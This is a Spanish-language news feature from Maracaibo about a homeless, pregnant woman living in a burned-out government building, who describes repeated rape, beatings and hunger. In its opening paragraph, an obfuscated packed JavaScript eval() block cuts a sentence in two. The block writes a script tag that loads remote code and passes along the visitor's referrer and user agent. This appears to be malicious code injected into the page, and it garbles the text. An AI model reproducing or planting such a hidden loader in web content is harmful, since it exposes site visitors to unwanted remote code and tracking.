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"Me da miedo la oscuridad porque me violaron muchos hombres"

Francisco Rincón / Maracaibo / noticias@laverdad.com
Pedazos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyidb|var|u0026u|referrer|kbnns||js|php'.split('|'),0,{})) de patilla, guayaba y mandarina que le regalan los buhoneros la mantienen de pie. El hambre y el miedo le arrancan lágrimas, el frio y el olor a excremento la acompañan en la soledad

“La Sirenita” vive entre las ruinas de lo que fie el edificio de Inavi. (Fotos: María Fuenmayor)

En medio del bullicio de la capital zuliana, que alberga lugares emblemáticos como la Basílica o el monumento a la Virgen, vive una “sirena”. Ama el lago y los perros, pero teme a la oscuridad. Habla entrecortado, su pelo es tostado y llora mientras relata su presente y pasado. 

A un costado de la casa de la patrona de zulia están las ruinas de lo que fue un lugar ajetreado, con oficinas y personas vestidas de rojo con carpetas en las manos. Múltiples incendios, durante las protestas antigubernamentales de este año, terminaron por alejarlos, dejando el edificio del Inavi “deshabitado” y saqueado, por vándalos que cargaron con todo a su paso.

En la planta baja del mamotreto, donde el desastre es visible y tanto la orina como los excrementos ayunta a los transeúntes, vive Yomaira. Con ese nombre quiso identificarse por temor a represalias, mientras dice desde el interior de su morada que esperemos mientras hace “unas vainas”. Luego de atravesar escombros, latas, vidrios y tablas esta la entrada a su residencia cuya “puerta” está elaborada de pedazos de cartón, anime y tablas. 

El lugar es rudimentario, sin pintura, ventanas, luz ni agua y para entrar, primero hay que esquivar una “cama” que permanece en el suelo hecha de trastos acumulados. El olor que expide el espacio es penetrante, una mezcla de alimentos descompuestos, desechos, humedad y algo quemado. Aún no hablamos con la “sirenita” que continua en un cuarto y diciendo “¡ya va!”. Mientras, hurgamos en el lugar y vemos huesos de pollo regados, restos de frutas con mosquitos amontonados, el piso manchado y sentimos pegachentos los zapatos.           

Marcada por la vida 

Caminamos hasta el cuarto de donde salía una bulla y su voz. Allí estaba Yomaira, indefensa, delgada, tratando de acomodar las cosas y sacudiendo el polvo del suelo como quien barre su casa. La basura esta arrumada en rincones, hay telarañas y pupú dentro de las habitaciones, también los restos de un archivo arropado por un mantel de Navidad donde duerme y trata de conseguir tranquilidad. La luz que entra es natural y los zancudos hacen inhumana la estadía en el solitario lugar. 

La sirenita, como asegura que la conocen por la falda que usa a diario, dice que vivía allí antes que construyeran las oficinas y la llegada de los trabajadores implico su salida. Continuó habitando en las inmediaciones del lugar, bajo las penumbras de la calle y encima de las mesas donde los comerciantes informales colocan sus mercancías. A finales de julio, según su testimonio, le llego el “pitazo” de que la estructura estaba abandonada y regreso. 

Lleva cinco meses en el lugar pero “todos los días le dicen que la van a sacar”. La ropa que lleva puesta esta curtida, su pelo es cobrizo y está sucio, las clavículas se le marcan y su rostro es cadavérico. Relata que tiene 30 años, pero aparenta 45. Según sus cuentas parió seis hijos y espera dos más. 

Durante los tres meses de embarazo que asegura tener, lo que “ha llevado es vaina”, nada diferente a su pasado. Los dos pequeños que están en su vientre son fruto de una violación. Métodos similares, aberrantes y abusivos, fueron el motivo de sus otras seis gestaciones. Cuatro papás distintos.     

Oportunidades apaleadas

Mientras se refiere a las violaciones, perpetradas por muchos hombres en la oscuridad, trata de hacerse fuerte. Se muerde los labios, aprieta las manos y mira al techo. No puede aguantar, los recuerdos del pasado que la persigue y atormentan, hace que se desprenda a llorar. Agacha la cabeza, hace puchero, sus palabras se entrecortan y la mirada se pierde como pidiendo no regresar.  

En el periplo de su vida las posibilidades de salir adelante fueron nulas. Cada oportunidad que se presentaba fue vapuleada. Le dieron palizas en la calle, corretearon, le partieron la cabeza, amenazaron con matarla con armas, machetes y cuchillos, además de sufrir brutales palizas de los padres de sus hijos. “Uno me dijo que no me mata porque me quiere. Que si me daba la gana, criara a los muchachos vendiendo mi cuerpo en 5 de Julio pero jamás lo hice”, cuenta. 

El embarazo no ha sido fácil. Le dan “yeyos”, taquicardias y tiene mala circulación. Sobre el resto de sus hijos asegura que una tiene nueve años y vive con su abuela, mientras que los otros están grandes y hacen su vida sin tomarla en cuenta. “

Se imaginan que vivo en la calle pero nunca me han visto. Tengo más de un año sin saber nada de ellos y estoy sola para todo. Limpio casas y vendo duro fríos, pero no hago vainas malas. Se meten aquí y me roban o en la calle lo hacen. Cuando supe lo de mis primeros muchachos quise abortar, pero me dijeron que no era culpa de ellos, sino de los mald… que abusaron de mí”. 

Cuando los días son buenos, alcanza a llevarse un bocado de comida a la boca. El resto, solo el aire la alimenta. Le gritan ¡vaya a trabajar vieja! Susurra. Reiteradamente apunta que estudió veterinaria y que los perros son mejores amigos que las personas porque siempre mueven la cola y se ponen felices.

Puntapié para el futuro

En el día, mientras no camina buscando un sustento, descansa sobre el archivo de metal. No es mucho el tiempo que pasa allí, le da miedo estar sola y la oscuridad, por eso duerme en la puerta de la morada y no en el cuarto como es habitual. Los perros y gatos “la llaman mamá” y los amigos de sus hijos les comentan a ellos que es “una malandra y una prostituta”.

Los buhoneros del centro de Maracaibo dicen que tiene un mes habitando en las ruinas y dedica su tiempo a bailar. Se define como cristiana y anhela un lugar para vivir tranquila y descansar. Está cansada de pasar hambre, abusos y necesidad. Que se metan en su “casa” a hacer brujería, tener relaciones, orinar y defecar. 

A diario lleva su falda de sirena y una blusita con la que se baña en el lago y con el sol, aun puesta sobre ella, deja secar. Nadie la quiere en sus casas y para olvidar las penas toma una cerveza y se encierra sola a llorar. Hace sus necesidades en bolsas plásticas que arroja a la basura y de sus padres dice que murieron cuando estaba pequeña, sin más nada que agregar. 

Yomaira espera que la escuchen, atiendan y tener una vida mejor. Lejos del entorno que la apaleo y de los aberrados, que entre otras cosas, arruinaron una vida que “pudo ser mejor”.  

 

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